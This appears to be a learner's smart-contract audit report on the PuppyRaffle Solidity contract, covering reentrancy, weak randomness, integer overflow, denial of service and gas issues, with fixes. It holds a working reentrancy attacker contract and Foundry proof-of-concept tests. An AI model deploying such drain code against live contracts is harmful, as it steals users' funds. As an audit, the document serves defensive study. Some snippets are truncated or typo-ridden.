# Protocol Audit Report

Lydia Gyamfi Ahenkorah

November 13, 2024


Figure 1: Logo

# Protocol Audit Report

## Version 1.0

**Bug Pirate**

November 7, 2024

---

Prepared by: [FOAH]
Lead Auditors: Ahenkorah Gyamfi Lydia # Table of

Contents - Protocol Audit Report - Version 1.0 - Bug Pirate - Table of - Protocol Summary - Risk Classification - Scope - Roles - Executive Summary - Issues found

# Protocol Summary

# Risk Classification

| | | Impact | | |
|---|---|---|---|---|
| | | High | Medium | Low |
| | High | H | H/M | M |
| Likelihood | Medium | H/M | M | M/L |
| | Low | M | M/L | L |

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

**The Findings described in this document correspond the following commit hash**

commit Hash:

`2a47715b30cf11ca82db148704e67652ad679cd8`

## Scope

```
./src/
 #-- PuppyRaffle.sol
```

## Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function.

Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

# Executive Summary

I spent X hours and used Slither,Aderyn and manual review to find bug in the codebase.

## Issues found

| Severity | Number of issues Found |
|---|---|
| High | 3 |
| Medium | 3 |
| Low | 1 |
| Info | 7 |
| Gas | 2 |
| Total | 16 |

### FINDINGS

### HIGH

**[H-1] Reentrancy Attack, Making the interaction before the state change in `PuppyRaffle::refund` function can cause a reentrancy attack. causing the contract to lose all its funds.**

It doesnt follow CEII, CEI (Checks, Effects, Interactions) and as a result enables participants to drain the contract balance.

- Likilihood: HIGH
- Impact: HIGH

**Description:** The `PuppyRaffle::refund` function calls an external function `PuppyRaffle::sendValue(entranceFee)` before changing its state to 0. This can cause a reeentrancy attack where the attacker calls the refund multiple times and drain the contract of all its funds.

```
  function refund(uint256 playerIndex) public {

        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is no
@==>    payable(msg.sender).sendValue(entranceFee);

@==>    players[playerIndex] = address(0);
        emit RaffleRefunded(playerAddress);
    }
```

A player who has entered the raffle could have a `fallback` /`recieve` function that calls the `PuppyRaffle::refund` function again and agin till its drained of all its funds.

**Impact:** All funds will be drained, this will dramatically affect the protocol since winners are supposed to get the funds!

**Proof of Concept:** Below is a proof of code of how this malicious attacker will steal the funds. 1. User enters the Raffle 2. Attacker sets up a contract with a `fallback` function that calls the `PuppyRaffle:refund` 3. Attacker enters the raffle 4. Attacker calls the `PuppyRaffle::refund` function from their attack contract, draining the contractof its funds.

POC

Starting Attacker Contact Balance: 0 Starting Contact Balance: 4000000000000000000 Ending Attacker Contact Balance: 5000000000000000000 Ending Contact Balance: 0

Put this code in your `PuppyRaffleTest.t.sol`

```
function test_reentrancyAttack() public {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        ReentrancyAttacker attackerContract = new ReentrancyAttacker(
            puppyRaffle
        );
        address attackUser = makeAddr("attackUser");
        vm.deal(attackUser, 1 ether);

        uint256 startingAttackerbalance = address(attackerContract).balance;
        uint256 startingContractBalance = address(puppyRaffle).balance;

        //
        vm.prank(attackUser);
        attackerContract.attack{value: entranceFee}();

        console.log(
            "Starting Attacker Contact Balance:",
            startingAttackerbalance
        );
        console.log("Starting  Contact Balance:", startingContractBalance);

        console.log(
```

```
            "Ending Attacker Contract Balance:",
            address(attackerContract).balance
        );
        console.log("Ending  Contract Balance:", address(puppyRaffle).balance);
    }


contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;

    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() external payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);
        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
        puppyRaffle.refund(attackerIndex);
    }

    function _stealMoney() internal {
        if (address(puppyRaffle).balance >= entranceFee) {
            puppyRaffle.refund(attackerIndex);
        }
    }

    fallback() external payable {
        _stealMoney();
    }

    receive() external payable {
        _stealMoney();
    }
}
```

**Recommended Mitigation** There are a few recommendations. 1. You can follow the CEI, CEII method to prevent this hack. Checks, effects and Interaction

```
  function refund(uint256 playerIndex) public {
       // checks
        address playerAddress = players[playerIndex];
```

```
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is no

        //Effects
+       players[playerIndex] = address(0);
+       emit RaffleRefunded(playerAddress);

        //interactions
        payable(msg.sender).sendValue(entranceFee);

-        players[playerIndex] = address(0);
-       emit RaffleRefunded(playerAddress);
    }
```

2. You can look the function
3. You can use reentrancyGuard for openZeppelin (https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/ReentrancyGuard.sol)

### [H-2] Weak Randomness in `Puppyraffle::selectWinner` allows uses to influence or predict the winner and predict diffrent rarity.

**Description:** Hashing `block.timestamp`, `msg.sender` and `block.difficulty` together is not a good randoness and creates a predictable random number. A predictable random number is not a good Random number. These can be influenced by miners to some extent so they should be avoided.

*Note* This means users could front-run this function and call `refund` if the see they are not the winner.

**Impact:** Any winner can manipulate and win the raffle and select the rarest puppy, making the entire raffle worthless if it becomes a gas war as to who wins the raffle.

**Proof of Concept:** 1. validators can how ahead of the time the `block.timestamp` and the `block.difficulty` and use that to predict when/how to participate. 2. User can mine/manipulate their `msg.sender` value to the result in their address being used to generat the winner. 3. Users can revert thier `selectwiner` transcation if they dont like the winner ot resulting puppy. 4. Using on-chain values as a randomness send a [well-documeted attack vector]

**Recommended Mitigation** 1. Do not use block.timestamp, now or blockhash as a source of randomness 2. use Chainlink's VRF( verifiable Random Factor) to selcet random winner and NFT. here is a link to the chainlink VRF documentation (https://docs.chain.link/vrf)

### [H-3] Interger overflow of `PuppyRaffle::totalFees` loses Fees

**Description:** In Solidity version prior to `0.8.0` integers were subject to integer overflows.

```
-uint64 myVar = type(uint64).max
-myVar
Type: uint64
 Hex: 0x
 Hex (full word): 0xffffffffffffffff
 Decimal: 18446744073709551615
- myVar = myVar + 1
Traces:
  [349] 0xBd770416a3345F91E4B34576cb804a576fa48EB1::run()
    [Revert] panic: arithmetic underflow or overflow (0x11)
```

**Impact:** In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFeeds`. However, if the `totalFees` viariable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permamently stuck in the contract.

**Proof of Concept:** 1. We conclude a raffle of 4 players 2. We then add 90 players to enter the raffle, and conclue the raffle. 3. `totalFees` will be:

```
totalFees = totalFees + uint64(fess;
TotalFess = ""
This will Overflow!
)
```

4. You will not be able to withdraw, due to the line in the `PuppyRaffle::withdrawFees`:

```
 require(
            address(this).balance == uint256(totalFees),
            "PuppyRaffle: There are currently players active!"
        );
```

Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and the withdraw the fees, this is clearly not the intended design of the protocol. At some point there will be too much balance in the contract that the above will be imposible to meet.

Put the code below in your `PuppyRaffleTest.t.sol`

POC

```
function test_OverflowOfTotalFee() public playerEntered {
        //lets end the Raffle
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        //select a winner
        puppyRaffle.selectWinner();
```

```
        uint256 startingTotalFees = puppyRaffle.totalFees();
        console.log("the starting TotallFees is :", startingTotalFees);

        //Lets enter 90 players
        uint256 playersNum = 90;
        address[] memory players = new address[](playersNum);

        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }

        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);

        //lets end the Raffle
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 endingTotalFees = puppyRaffle.totalFees();
        console.log("the ending TotallFees is :", endingTotalFees);

        assert(endingTotalFees < startingTotalFees);

        // We are also unable to withdraw any fees because of the require check
        vm.prank(puppyRaffle.feeAddress());
        vm.expectRevert("PuppyRaffle: There are currently players active!");
        puppyRaffle.withdrawFees();
    }
```

**Recommended Mitigation** There are a few possible mitigations. 1. Use a newer version of solidity, and a `uint256` instead of `uint64` for `PuppyRaffle::totalFees` 2. You could also use `SafeMath` form openZeppelin for the solidity version `0.7.0`.. However you will still have a hard time with the `uint64` type if too many fees are collect. 3. Remove the balance check from `PuppyRaffle::withdrawFees`

```
-       require( address(this).balance == uint256(totalFees), "PuppyRaffle: There are currer
```

hhere are several attack vectors with that final require, so we recommend removing it regardless.

### MEDIUM

**[M-1] Denial Of Service attack, Looping through the array to check duplicates in `PuppyRaffle:enterRaffle` function is a potential denial of service (DOS) attack, incrementing the gas cost for future entrants.**

**Description:** The `PuppyRaffle:enterRaffle` function loops through the `players` arrays to check for duplicates. However, the longer the

`PuppyRaffle:enterRaffle` array is, the more checks a new player will have to make. This means the cost for players who enter right when the raffle starts will be dramatically lower than those who enter later. Every additional address in the `players` array , isan additional check the loop will have to go through.

```
 for (uint256 i = 0; i < players.length - 1; i++) {
           for (uint256 j = i + 1; j < players.length; j++) {
               require(players[i] != players[j], "PuppyRaffle: Duplicate player");
           }
       }
```

**Impact:** The gas cost for Raffle entrance will greatly increse as new players and more players enter the raffle. Discouraging later users from entering and causing a rush at the start of the raffle to be the fist player to enter. An attacker might make the `PuppyRaffle:enterRaffle` array so big that no one else can enter, guarenteeing themselves the win.

**Proof of Concept:** When we have 2 sets of 100 players the gas will be as such:
- 1st 100 players: 6252128 gas - 2nd 100 players: 18068218 gas

This is more than 3x expensive for the 2nd 100 players

PoC

Place the following test in 'PuppyRaffleTest.t.sol'.

```
function test_DenialOfServvice() public {
       // Lets enter 100 players
       vm.txGasPrice(1);

       uint256 playerNum = 100;
       address[] memory players = new address[](playerNum);
       for (uint256 i = 0; i < playerNum; i++) {
           players[i] = address(i);
       }

       // see how much gass it cost
       uint256 gasStart = gasleft();
       puppyRaffle.enterRaffle{value: entranceFee * players.length}(players);
       uint256 gasEnd = gasleft();

       uint256 gasUsedFirst100 = (gasStart - gasEnd) * tx.gasprice;
       console.log("Gas used for the first 100 people", gasUsedFirst100);

       // now  for the 2nd 100 players

       address[] memory playersTwo = new address[](playerNum);
```

```
        for (uint256 i = 0; i < playerNum; i++) {
            playersTwo[i] = address(i + playerNum);
        }

        // see how much gass it cost
        uint256 gasStartSecond = gasleft();

        puppyRaffle.enterRaffle{value: entranceFee * playersTwo.length}(
            playersTwo
        );
        uint256 gasEndSecond = gasleft();

        uint256 gasUsedSecond100 = (gasStartSecond - gasEndSecond) *
            tx.gasprice;
        console.log("Gas used for the Second 100 people", gasUsedSecond100);

        assert(gasUsedFirst100 < gasUsedSecond100);


    }
```

**Recommended Mitigation** There are a few recommendations.

1. Consider allowing duplicates. Users can make new wallets adressses anyways, so a duplicate chcek doesnt prevent the same person from entering multiple times, only the same wallet address.

```
function enterRaffle(address[] memory newPlayers) public payable {

        require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must send enough
        for (uint256 i = 0; i < newPlayers.length; i++) {
            players.push(newPlayers[i]);
        }

        emit RaffleEnter(newPlayers);
    }
```

2. Consider using a mapping to check for duplicates. This would allow constant time lookup ofwhether a user has already entered.

```
+ uint256 public raffleID;
+ mapping (address => uint256) public usersToRaffleId;
.
.
    function enterRaffle(address[] memory newPlayers) public payable {
        require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must send enough

        for (uint256 i = 0; i < newPlayers.length; i++) {
```

```
+           // Check for duplicates
+           require(usersToRaffleId[newPlayers[i]] != raffleID, "PuppyRaffle: Already a part

            players.push(newPlayers[i]);
+           usersToRaffleId[newPlayers[i]] = raffleID;
        }

-       // Check for duplicates
-       for (uint256 i = 0; i < players.length - 1; i++) {
-           for (uint256 j = i + 1; j < players.length; j++) {
-               require(players[i] != players[j], "PuppyRaffle: Duplicate player");
-           }
-       }

        emit RaffleEnter(newPlayers);
    }
.
.
.

function selectWinner() external {
        //Existing code
+    raffleID = raffleID + 1;
    }
```

3. Alternatively, you could use [OpenZeppelin's `EnumerableSet` libray] (https://docs.openzeppelin.com/contracts/3.x/api/utils#EnumerableSet).

### [M-2] Unsafe cast of `PuppyRaffle::fee` loses fees

**Description:** In the PuppyRaffle contract, an unsafe type cast of fee to uint64 during the accumulation of total fees may lead to a loss of fee data. Specifically, in the selectWinner function, the contract casts fee to uint64 when updating totalFees, which is also a uint64. This truncates any value of fee that exceeds the uint64 limit, effectively causing a loss of data and making the totalFees value unreliable.

```
uint64 public totalFees = 0;

totalFees = totalFees + uint64(fee);
```

**Impact:** Since the totalFees variable holds the total collected fees, an overflow or truncation due to this unsafe cast can lead to discrepancies in the total amount stored. This can impact accounting accuracy, introduce potential trust issues, and misrepresent the amount of fees collected in the contract, leading to incorrect contract state and potential financial losses.

**Proof of Concept:**

```
 uint64 myVar = type(uint64).max
-> myVar
Type: uint64
 Hex: 0x
 Hex (full word): 0xffffffffffffffff
 Decimal: 18446744073709551615
-> myVar = myVar + 1
Traces:
  [349] 0xBd770416a3345F91E4B34576cb804a576fa48EB1::run()
    - [Revert] panic: arithmetic underflow or overflow (0x11)
```

**Recommended Mitigation** Consider storing `totalFees` and `fee` as `uint256` rather than `uint64` to avoid the risk of overflow and data loss. Updating the type to uint256 provides a more robust solution, accommodating larger values and ensuring that the cumulative total in `totalFees` accurately reflects the actual fees collected. This change would mitigate the risk of truncation and preserve full fee data.

### [M-3] Smart Contract wallets raffle winners without a `receive` or a `fallback` function will block the start of a new contract.

**Description:**The `PuppyRaffle::selectwinner` function is responsible for resetting the lottery. However, if the winner is a smart contract that rejects payments, the lottery would not be able to restart.

Users could easily call the `selectwinner` function and the non-wallect contract could enter, but it could coast a lot to ue to the duplicate check and the lottery reset could get very challenging.

**Impact:** The `PuppyRaffle::selectwinner` function could revert many times, making lottery reset difficult.

Also true winner would not get paid out and someone could take their money!

**Proof of Concept:** 1. 10 smart contract wallets enter the lottery without a fallback or receive function. 2. The lottery ends 3. RThe `selectwinne` function wouldnt work, even though the lottery is over.

**Recommended Mitigation** 1. Do not allow smart conttract wallets entrant (not recommended) 2. Create a mapping of address -> payout amount so winners can pull their funds out themselves with a new `claimPrize` function, putting the owners on the winner to claim their prize. (Recommended)

> pull over push

**[L-1] `PuppyRaffle::getActivePlayerIndex` retuns 0 for non-existance players and players at index 0. causing a player at index 0 to inccorectly hink that they are not-active.**

**Description:** If a player is in the `PuppyRaffle::players` array at index 0, this will return 0. But acording o the natspec it will also return 0 when the player is not active/not in the array.

```
function getActivePlayerIndex(
        address player
    ) external view returns (uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
        return 0;
    }
```

**Impact:** A player at index 0 may inccorectly think that they are not-active and attempt to renter the raffle. Wasting its gas.

**Proof of Concept:** 1. user enters the raffle, they are the first entrant 2. `PuupyRaffle::getActivePlayerIndex` returns 0 3. user thinks they have not entered due to the documentation.

**Recommended Mitigation** The easieszt recommendation is to revert if the player is not in the array instead of returning zero.

you could also reserve the 0th position for any competition, but a better way is to return a `unit256` where the function returns -1 if the player is not active.

# Gas

## [G-1] Unchanged state viariable should be declare constant or immutable.

Reading from storage is more expensive than reading from immutable or constant viariable.

Instances: - `PuppyRaffle::raffleDuration` should be `immutable` - `PuppyRaffle::commonImageUri` should be `constant` - `PuppyRaffle::rareImageUri` should be `constant` - `PuppyRaffle::legendaryImageUri` should be `constant`

### [G-2] Storage varible in a loop should be cached

Everything `PuppyRaffle::players.lenght` is called it uses so much gas becasue it reads directly from the storage as opposed to memory which is more gas

efficient.

```
+  uint256 playersLength = players.length;
+  for (uint256 i = 0; i < players.length - 1; i++)
- for (uint256 i = 0; i < players.length - 1; i++) {
-            for (uint256 j = i + 1; j < players.length; j++) {
+            for (uint256 j = i + 1; j < playersLength; j++) {
                require(
                    players[i] != players[j],
                    "PuppyRaffle: Duplicate player"
                );
```

### [I-2] Solidity Pragma should be specific, not wide

Consisder using a specific version of slidtity n your contracts instead of a wide version. for example, instead of `pragma solidity ^0.8.0:`, use `pragma solidty 0.8.0;`

-Found in src/PuppyRaffle.sol 32:23:35

### [I-2] Using an outdated version of solidity is not recommended.

Please use a newer version like `0.8.19`

**Description** solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

**Recommendation** - Deploy with a recent version of Solidity (at least `0.8.0`) with no known severe issues. - Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please seeslither documentation for more information.

### [I-3]: Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 62

  ```
  feeAddress = _feeAddress;
  ```

- Found in src/PuppyRaffle.sol Line: 168

  ```
  feeAddress = newFeeAddress;
  ```

### [I-4] `PuppyRaffle:selectwinner` doesnt follow CEI, which is not a best practice.

Its better to follow CEI

```
- (bool success, ) = winner.call{value: prizePool}("");
-        require(success, "PuppyRaffle: Failed to send prize pool to winner");
         _safeMint(winner, tokenId);
+        (bool success, ) = winner.call{value: prizePool}("");
+        require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

### [I-5] Use of "magic" numbers is discouraged

It can be confusing to see the number literals in a codebase, and its much more readable if its a named state immutable or constant state viariable.

Examples:

```
        uint256 prizePool = (totalAmountCollected * 80) / 100;

        uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead, you cold use:

```
uint256 public onstant PRIZE_POOL_PECENTANGE = 80;
uint256 public constant FEE_PERCENTAGE =20;
uint256 public constant POOL_PERCISION = 100
```

### [I-6] Missing Events , Event is missing `indexed` fields

There are no evnts emited for state changes.

### [I-7] `PuppyRaffle::_isActivePlayer` is never used and should be removed

The `PuppyRaffle::_isActivePlayer` function is never used and just going to waste gas!